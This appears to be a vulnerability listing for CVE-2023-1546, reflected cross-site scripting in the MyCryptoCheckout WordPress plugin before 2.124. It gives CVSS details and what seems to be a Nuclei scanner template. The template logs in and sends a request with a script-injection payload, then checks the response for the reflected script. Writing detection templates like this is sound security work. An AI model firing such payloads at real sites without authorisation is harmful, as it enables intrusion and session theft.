CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
43.4%
The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.
id: CVE-2023-1546
info:
name: MyCryptoCheckout < 2.124 - Cross-Site Scripting
author: Harsh
severity: medium
description: |
The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: Fixed in version 2.124
reference:
- https://wpscan.com/vulnerability/bb065397-370f-4ee1-a2c8-20e4dc4415a0
- https://nvd.nist.gov/vuln/detail/CVE-2023-1546
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-1546
cwe-id: CWE-79
epss-score: 0.00087
epss-percentile: 0.36792
cpe: cpe:2.3:a:plainviewplugins:mycryptocheckout:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: plainviewplugins
product: mycryptocheckout
framework: wordpress
tags: cve,cve2023,wordpress,wp,wp-plugin,xss,wpscan,authenticated,plainviewplugins
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&"><script>alert(/XSS/)</script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- 'contains(body_2, "scriptalert(/XSS/)/script")'
- 'contains(body_2, "mycryptocheckout")'
condition: and
# digest: 4a0a00473045022100a5543a3c7f138537869158794cc19d7e7cf4177118b7829488b5a952c0c3b2bc02204e68af118f9d1ace75a15952a8bdb5cfb5aaeb7443589b3cbaf1e2528b5f8821:922c64590222798bb761d5b6d8e72950